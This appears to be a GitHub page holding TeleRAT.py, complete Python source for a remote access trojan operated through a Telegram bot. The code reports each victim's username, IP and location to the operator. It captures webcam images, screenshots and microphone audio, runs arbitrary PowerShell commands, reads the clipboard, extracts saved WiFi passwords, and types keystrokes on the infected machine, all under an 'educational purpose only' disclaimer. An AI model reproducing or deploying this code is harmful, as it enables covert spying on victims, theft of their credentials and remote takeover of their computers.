forked from henry-richard7/TeleRAT
-
Notifications
You must be signed in to change notification settings - Fork 4
/
TeleRAT.py
296 lines (228 loc) · 11.8 KB
/
TeleRAT.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
import ctypes
import sys
import webbrowser
import psutil
import pyttsx3
import requests
import getpass
import os
import cv2
from PIL import ImageGrab
import pyaudio, wave
from easygui import *
from telegram import InlineKeyboardButton, InlineKeyboardMarkup,ParseMode
from telegram.ext import Updater, CommandHandler, CallbackQueryHandler
import flag
import platform
import subprocess
import autopy
import random
import clipboard
'''
This Program is only for educational purpose only I am not responsible how this program is used
Developed by Henry Richard J
If you Like this project consider making a donation
Thank you for using this project !
'''
username = getpass.getuser() # To get USERNAME of the PC
telegram_parsing_mode = ParseMode.HTML
my_id = '<Replace With Your Chat ID>' # Enter Your Chat ID
bot_api = '<Replace With Your BOT Api>' # Enter your Telegram BOT Api
ip = requests.get("http://ip-api.com/json/").json() # Getting Public IP details in Json Format
def SpeakText(command):
engine = pyttsx3.init()
engine.say(command)
engine.runAndWait()
def listToString(s):
str1 = " "
return (str1.join(s))
updater = Updater(bot_api, use_context=True)
dispatcher = updater.dispatcher
dispatcher.bot.send_message(chat_id=my_id,text="☠️ "+username+" Connected")
def webcam_taker():
camera = cv2.VideoCapture(0)
while True:
return_value, image = camera.read()
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
if cv2.waitKey(1):
cv2.imwrite('webcam.jpg', image)
break
camera.release()
cv2.destroyAllWindows()
dispatcher.bot.send_document(chat_id=my_id,caption=username+"'s Webcam Snap", document=open('webcam.jpg', 'rb'))
os.remove('webcam.jpg')
def take_screen_shot():
screenshot = ImageGrab.grab()
screenshot.save('screenshot.jpg')
dispatcher.bot.send_document(chat_id=my_id,caption=username+"'s Screenshot", document=open('screenshot.jpg', 'rb'))
os.remove('screenshot.jpg')
def recorder():
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
CHUNK = 1024
RECORD_SECONDS = 5 # Here you can change the time for recording audio in seconds
WAVE_OUTPUT_FILENAME = "file.wav"
audio = pyaudio.PyAudio()
# start Recording
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
# stop Recording
stream.stop_stream()
stream.close()
audio.terminate()
waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
dispatcher.bot.send_audio(chat_id=my_id,caption=username+" Audio Logs",audio=open(WAVE_OUTPUT_FILENAME, 'rb'))
def speak(update,context):
inputs = (update.message.text).split()
Crt_values = inputs[1:]
SpeakText(listToString(Crt_values))
def get_system_info():
my_system = platform.uname()
gigabyte = float(1024 * 1024 * 1024)
mem = psutil.virtual_memory()
mem_total = float(mem.total / gigabyte)
mem_free = float(mem.free / gigabyte)
mem_used = float(mem.used / gigabyte)
hdd = psutil.disk_usage('/')
HDD_total = hdd.total / gigabyte
HDD_Used = hdd.used / gigabyte
HDD_Free = hdd.free / gigabyte
dispatcher.bot.send_message(chat_id=my_id,text=f"<b>-------🧰 Hardware Info-----</b>\n\n"
f"📍 System --> {my_system.system}\n"
f"📍 Name --> {my_system.node}\n"
f"📍 Release --> {my_system.release}\n"
f"📍 Version --> {my_system.version}\n"
f"📍 Machine --> {my_system.machine}\n"
f"📍 Processor --> {my_system.processor}\n\n"
f"<b>-------📁 Memory Info-----</b>\n\n"
f"📍 Memory Total --> {round(mem_total)} GB\n"
f"📍 Free Memory --> {round(mem_free)} GB\n"
f"📍 Used Memory --> {round(mem_used)} GB\n\n"
f"-------<b>💿 Hard Disk Info-----</b>\n\n"
f"📍 Total HDD --> {round(HDD_total)} GB\n"
f"📍 Used HDD --> {round(HDD_Used)} GB\n"
f"📍 Free HDD --> {round(HDD_Free)} GB\n",parse_mode=telegram_parsing_mode)
def msg_From_Server(update,context):
inputs = (update.message.text).split()
Crt_values = inputs[1:]
client_Message = enterbox(listToString(Crt_values),title="Reply to server")
print(client_Message)
if client_Message != "":
dispatcher.bot.send_message(chat_id=my_id, text=username +": "+client_Message)
def shell_commands(update,context):
inputs = (update.message.text).split()
command = listToString(inputs[1:])
cmd_output = subprocess.Popen(f"powershell.exe {command}", shell=True, stdout=subprocess.PIPE)
dispatcher.bot.send_message(chat_id=my_id,text=cmd_output.stdout.read().decode(sys.stdout.encoding))
def open_website(update,context):
inputs = (update.message.text).split()
website = listToString(inputs[1:])
webbrowser.open(f"{website}")
def move_mouse():
autopy.mouse.smooth_move(random.randrange(1, 500), random.randrange(1, 500))
def send_keypress(update,context):
inputs = (update.message.text).split()
keypress = listToString(inputs[1:])
autopy.key.type_string(keypress)
def show_popup(update,context):
inputs = (update.message.text).split()
Message = listToString(inputs[1:])
ctypes.windll.user32.MessageBoxW(0, Message, "TeleRAT!", 0x30)
def get_clipboard():
dispatcher.bot.send_message(chat_id=my_id, text=f"<b>------Contents in Clipboard-----</b>\n\n{clipboard.paste()}",parse_mode=telegram_parsing_mode)
def get_wifi_password():
wifi_passwords = []
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split(
'\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
wifi_passwords.append("{:<30}: {:<}".format(i, results[0]))
except IndexError:
wifi_passwords.append("{:<30}: {:<}".format(i, ""))
passwords_strings = " \n"
dispatcher.bot.send_message(chat_id=my_id,text=f"<b>------📶 WIFI Password-----</b>\n\n"
f"{passwords_strings.join(wifi_passwords)}",parse_mode=telegram_parsing_mode)
def main_menu(update,context):
keyboard = [[InlineKeyboardButton("📟 Get IP", callback_data='Get_IP')],
[InlineKeyboardButton("📸 Get Screenshot", callback_data='get_Screenshot')],
[InlineKeyboardButton("📷 Get Pic From Webcam", callback_data='get_Webcam')],
[InlineKeyboardButton("👂 Eavesdrop",callback_data='eavesdrop')],
[InlineKeyboardButton("🗣️ Text To Speech on client",callback_data='Speak')],
[InlineKeyboardButton("💬 Send Message To Client",callback_data='sendMessage')],
[InlineKeyboardButton("🖥️ Get System Information",callback_data='get_system_info')],
[InlineKeyboardButton("🔑 Perform Shell Commands",callback_data='shell_commands')],
[InlineKeyboardButton("🌐 Open Website",callback_data='open_website')],
[InlineKeyboardButton("🖲️ Move mouse randomly and Slowly",callback_data='move_mouse')],
[InlineKeyboardButton("⌨️ Type String",callback_data='send_keypress')],
[InlineKeyboardButton("⚠️ Show Alert Box with given message",callback_data='show_popup')],
[InlineKeyboardButton("📋 Get Clipboard",callback_data='get_clipboard')],
[InlineKeyboardButton("🗝️ Get Wifi Password",callback_data='get_wifi_password')]]
reply_markup = InlineKeyboardMarkup(keyboard)
update.message.reply_text('Available Commands :', reply_markup=reply_markup)
def button(update, context):
query = update.callback_query
query.answer()
result = query.data
if result == 'get_Webcam':
webcam_taker()
elif result == 'Get_IP':
context.bot.send_message(chat_id=my_id,
text="⭕ IP Address : " + ip["query"] + "\n⭕ Country : " + ip["country"]+ " " +flag.flag(ip["countryCode"]) + "\n⭕ Region : " +
ip["regionName"] + "\n⭕ City : " + ip["city"])
elif result == 'get_Screenshot':
take_screen_shot()
elif result == 'shell_commands':
context.bot.send_message(chat_id=my_id,
text="Use the command '/shell <The command>' to perform shell command on client")
elif result == 'eavesdrop':
context.bot.send_message(chat_id=my_id,text="Please wait for 5 seconds recording.........")
recorder()
elif result == 'get_system_info':
get_system_info()
elif result == 'Speak':
context.bot.send_message(chat_id=my_id,
text="Use the command '/speak <The text to speak>' to perform text to speech on client")
elif result == 'sendMessage':
context.bot.send_message(chat_id=my_id,
text="Use the command '/send_message <The message to send>' to perform text to speech on client")
elif result == 'open_website':
context.bot.send_message(chat_id=my_id,
text="Use the command '/open_website <https:// or http://(The Website)>' to open the website on client")
elif result =='move_mouse':
move_mouse()
context.bot.send_message(chat_id=my_id,
text="✅️ Done!")
elif result == 'send_keypress':
context.bot.send_message(chat_id=my_id,
text="Use the command '/send_keypress <The string to send>' to type in client")
elif result == 'show_popup':
context.bot.send_message(chat_id=my_id,
text="Use the command '/show_popup <The message to show in alert box>' to show in client")
elif result == 'get_clipboard':
get_clipboard()
elif result == 'get_wifi_password':
get_wifi_password()
updater.dispatcher.add_handler(CommandHandler('speak', speak))
updater.dispatcher.add_handler(CommandHandler('send_message', msg_From_Server))
updater.dispatcher.add_handler(CommandHandler('commands',main_menu))
updater.dispatcher.add_handler(CommandHandler('shell',shell_commands))
updater.dispatcher.add_handler(CommandHandler('open_website',open_website))
updater.dispatcher.add_handler(CommandHandler('send_keypress',send_keypress))
updater.dispatcher.add_handler(CommandHandler('show_popup',show_popup))
updater.dispatcher.add_handler(CallbackQueryHandler(button))
updater.start_polling()
updater.idle()